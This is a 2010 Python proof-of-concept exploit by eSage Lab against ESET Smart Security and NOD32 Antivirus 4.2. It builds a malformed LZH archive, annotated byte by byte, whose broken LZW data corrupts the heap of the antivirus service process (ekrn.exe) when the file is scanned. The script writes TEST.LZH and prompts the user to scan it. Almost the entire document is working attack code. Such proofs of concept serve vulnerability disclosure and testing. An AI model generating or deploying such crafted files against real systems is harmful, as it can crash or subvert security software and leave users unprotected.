=======================================================================
ESET Smart Security 4.2 / NOD32 Antivirus 4.2 (x32-x64) LZH parsing PoC
=======================================================================

# ESET Smart Security 4.2 and NOD32 Antivirus 4.2 (x32-x64)
# LZH archive parsing PoC exploit.
#
# Software:
# http://download.eset.com/download/win/ess/ess_nt32_enu.msi
#
# Scanning of malicious file causes heap corruption in context
# of the service process (ekrn.exe).
# See Dr. Watson log (drwtsn32.log) for details.
#
# USAGE: python eset_lzh.py (TEST.LZH will be created)
#
# (c) 2010 eSage Lab
# http://www.esagelab.com/
# support@esagelab.com
#
 
data = (
"\x21"             # Size of archived file header
"\x83"             # Checksum of remaining bytes
"-lh"              # ID
"5"                # Compression method (LZW, Arithmetic Encoding)
"-"                # ID
"\x13\x00\x00\x00" # Compressed size
"\x30\x00\x00\x00" # Uncompressed size
"\xFB\x3A\x6C\x3B" # Original file date/time
"\x20\x01"         # File attribute
"\x08"             # File name length
"TEST.TXT"         # File name
"\xDC\x41\x4D\x00\x00\x00\x0B\x33\x6D\x66\x49\x5D" # !!! broken LZW compressed data
"\x23\x08\x8A\x78\x00\x00\xC0\x81\xA5\xC0\xD7\x20" #
)
 
print "ESET Smart Security 4.2 and NOD32 Antivirus 4.2 (x32-x64) LZH File parsing PoC exploit"
print "(c) 2010 eSage Lab"
print "----------------------------"
 
f = open("TEST.LZH", 'wb')
f.write(data)
f.close()
 
print "TEST.LZH (%d bytes) created" % len(data)
print "Now try to scan it with antivirus"